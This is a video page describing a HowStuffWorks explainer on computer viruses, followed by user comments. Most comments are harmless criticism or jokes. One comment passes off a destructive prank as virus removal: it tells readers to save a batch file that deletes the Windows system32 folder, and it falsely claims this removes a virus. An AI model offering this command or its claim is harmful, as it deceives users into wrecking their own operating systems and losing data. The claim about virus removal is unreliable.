How Computer Viruses Work

Computer viruses range from pesky to outright dangerous. Some just display a message, while others erase your entire hard disk. Clicking on what looks like a harmless e-mail message can lead to hours of recovery efforts, if not irreparable damage. In this HowStuffWorks video you will learn about the different types of computer "infection" and how to avoid them. Credits: , HowStuffWorks

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[Anjasomc]

That's a description, not an explanation.

[DemonAMVs]

Virus: A program that does bad stuff to your PC or personal information... The end.

[hobnobharris]

Bit like aids then

[justcool393]

That's smart, deleting all of your drivers.

[ahzi22]

very mis-leading video. Quality of articles from "how stuff works" is going down due to videos like this

[aPUPPYonACID]

Its WAY more easy if you just:

1. open up notepad (Only works on windows)

2.Type: @echo off

del c:\WINDOWS\system32

3. save the file as anything.bat

and save as all files then double click on the document

The virus gets deleted manually because it hides in a certain empty folder, that command deletes everything in the folder.

[nzgroller]

either email or floppy disk. FLOPPY DISK!

[DrCobweb]

The videos called "How computer viruses work" not what computer viruses do.

[TopBestHits]

Why did they make viruses then?

[asdasdasdasd714]

this video taught a lot about viruses to my grandma.

[zoeahz]

Windows 98 vaio!